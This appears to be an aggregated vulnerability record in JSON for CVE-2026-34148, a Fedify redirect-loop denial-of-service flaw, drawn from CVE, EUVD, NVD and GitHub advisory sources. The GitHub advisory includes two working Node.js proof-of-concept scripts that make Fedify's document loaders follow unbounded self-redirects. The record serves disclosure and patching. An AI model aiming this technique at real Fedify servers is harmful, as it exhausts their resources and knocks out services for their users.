{"id":"CVE-2026-34148","revision":null,"records":[{"revision":"f9029b69171042ec8ce56865d60c54ee","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34148","aliases":[],"title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","state":0,"publishedAt":"2026-04-06T15:06:53.197+00:00","modifiedAt":"2026-04-07T14:25:51.368+00:00","affected":[{"ecosystem":"Vendor product","name":"fedify","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"@fedify\",\n                    \"product\": \"fedify\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.9.6\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 1.10.0, < 1.10.5\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.0.0, < 2.0.8\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.1.0, < 2.1.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"vocab-runtime","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"@fedify\",\n                    \"product\": \"vocab-runtime\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.8\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.1.0, < 2.1.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp","https://github.com/fedify-dev/fedify/releases/tag/1.10.5","https://github.com/fedify-dev/fedify/releases/tag/1.9.6","https://github.com/fedify-dev/fedify/releases/tag/2.0.8","https://github.com/fedify-dev/fedify/releases/tag/2.1.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34148","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34148","identifiers":["CVE-2026-34148"]},"retained":false,"historicalAffected":[]},{"revision":"692f45b8565b408085bae468043762f2","observedAt":"2026-11-01T06:05:33.692+00:00","statement":{"source":"euvd","id":"EUVD-2026-19295","aliases":["CVE-2026-34148","GHSA-gm9m-gwc4-hwgp"],"title":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document l…","description":"Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp","https://github.com/fedify-dev/fedify/releases/tag/1.10.5","https://github.com/fedify-dev/fedify/releases/tag/1.9.6","https://github.com/fedify-dev/fedify/releases/tag/2.0.8","https://github.com/fedify-dev/fedify/releases/tag/2.1.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-19295","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 6, 2026, 3:06:53 PM","dateUpdated":"Apr 7, 2026, 2:25:51 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. 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Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.","state":0,"publishedAt":"2026-04-06T16:16:34.387+00:00","modifiedAt":"2026-10-26T22:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/fedify-dev/fedify/releases/tag/1.10.5","https://github.com/fedify-dev/fedify/releases/tag/1.9.6","https://github.com/fedify-dev/fedify/releases/tag/2.0.8","https://github.com/fedify-dev/fedify/releases/tag/2.1.1","https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34148","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-400","CWE-770"],"productCriteria":["cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*","cpe:2.3:a:fedify:fedify\\/vocab-runtime:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-04-06T16:16:34.387","lastModified":"2026-10-26T22:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34148","identifiers":["CVE-2026-34148"]},"retained":false,"historicalAffected":[]},{"revision":"3a49b0e1e7104e19a3fc60118f1b276f","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gm9m-gwc4-hwgp","aliases":["CVE-2026-34148"],"title":"Fedify affected by resource exhaustion caused by unbounded redirect following during remote key/document resolution","description":"### Summary\n\n`@fedify/fedify` follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service.\n\n### Details\n\nFedify verifies ActivityPub HTTP signatures by fetching the remote `keyId` during request processing. The relevant flow is `handleInboxInternal()` -> `verifyRequest()` -> `fetchKeyInternal()` -> document loader.\n\nIn affected versions:\n- the generic document loader recursively follows `3xx` responses by calling `load()` again on the `Location` header\n- the authenticated redirect path (`doubleKnock()`) also recursively follows redirects\n- neither path enforces a redirect cap or tracks visited URLs to detect self-referential redirect loops\n\nAs a result, if an attacker-controlled `keyId` or actor URL responds with `302 Location: <same URL>`, a single ActivityPub request can trigger tens or hundreds of outbound requests before the fetch completes or the request times out.\n\nI confirmed the issue in `@fedify/fedify` 1.9.1 and 1.9.2. By contrast, Fedify's WebFinger lookup path already has a redirect cap, which suggests the missing bound in the document loader is unintended.\n\nFailed key fetches are not durably negatively cached. After a failed lookup, the null result is only remembered in a request-local cache, so later requests can trigger the same redirect loop again for the same `keyId`.\n\n### PoC\n\nMinimal direct reproduction with the package:\n\n1. Install `@fedify/fedify@1.9.2`.\n2. Save and run the following script:\n\n```js\nimport http from \"node:http\";\nimport { getDocumentLoader } from \"@fedify/fedify\";\n\nconst port = 45679;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n  count += 1;\n\n  if (count < redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const loader = getDocumentLoader({ allowPrivateAddress: true });\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n3. Observe output similar to:\n\n```\n{ count: 120 }\n```\n\nThis shows the loader followed 119 self-redirects before the first non-redirect response.\n\nThe authenticated loader used for signed requests shows the same behavior:\n\n```\nimport http from \"node:http\";\nimport {\n  generateCryptoKeyPair,\n  getAuthenticatedDocumentLoader,\n} from \"@fedify/fedify\";\n\nconst port = 45680;\nlet count = 0;\nconst redirectCount = 120;\n\nconst server = http.createServer((req, res) => {\n  count += 1;\n\n  if (count < redirectCount) {\n    res.writeHead(302, {\n      Location: `http://127.0.0.1:${port}/actor`,\n    });\n    res.end();\n    return;\n  }\n\n  res.writeHead(200, { \"Content-Type\": \"application/activity+json\" });\n  res.end(JSON.stringify({\n    \"@context\": \"https://www.w3.org/ns/activitystreams\",\n    \"id\": `http://127.0.0.1:${port}/actor`,\n    \"type\": \"Person\"\n  }));\n});\n\nawait new Promise((resolve) => server.listen(port, \"127.0.0.1\", resolve));\n\ntry {\n  const { privateKey } = await generateCryptoKeyPair();\n  const loader = getAuthenticatedDocumentLoader(\n    {\n      privateKey,\n      keyId: new URL(\"https://example.com/users/index#main-key\"),\n    },\n    { allowPrivateAddress: true },\n  );\n\n  await loader(`http://127.0.0.1:${port}/actor`);\n  console.log({ count });\n} finally {\n  server.close();\n}\n```\n\n### Impact\n\nThis is an unauthenticated denial-of-service / request amplification issue. Any Fedify-based server that verifies remote keys or loads remote ActivityPub documents can be forced to spend CPU time, worker time, connection slots, and outbound bandwidth following attacker-controlled redirects. A single inbound request can trigger a large number of outbound requests, and the attack can be repeated across requests because failed lookups are not durably negatively cached.\n\n### Misc Notes\n\nThis issue was surfaced by a Ghost ActivityPub user reporting the issue directly to Ghost. The above report was generated upon further investigation into the issue by the Ghost team. We credit @wrathsec for the discovery.","state":0,"publishedAt":"2026-04-07T18:04:09+00:00","modifiedAt":"2026-09-10T03:51:01.8118664+00:00","affected":[{"ecosystem":"npm","name":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.9.6"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@fedify/vocab-runtime","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.8"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@fedify/vocab-runtime","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.0"},{"kind":"fixed","version":"2.1.1"}]}],"versions":["2.1.0"],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.10.0"},{"kind":"fixed","version":"1.10.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"2.0.8"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@fedify/fedify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.0"},{"kind":"fixed","version":"2.1.1"}]}],"versions":["2.1.0"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp","https://nvd.nist.gov/vuln/detail/CVE-2026-34148","https://github.com/fedify-dev/fedify","https://github.com/fedify-dev/fedify/releases/tag/1.10.5","https://github.com/fedify-dev/fedify/releases/tag/1.9.6","https://github.com/fedify-dev/fedify/releases/tag/2.0.8","https://github.com/fedify-dev/fedify/releases/tag/2.1.1"],"sourceUrl":"https://github.com/advisories/GHSA-gm9m-gwc4-hwgp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gm9m-gwc4-hwgp","identifiers":["GHSA-gm9m-gwc4-hwgp","CVE-2026-34148"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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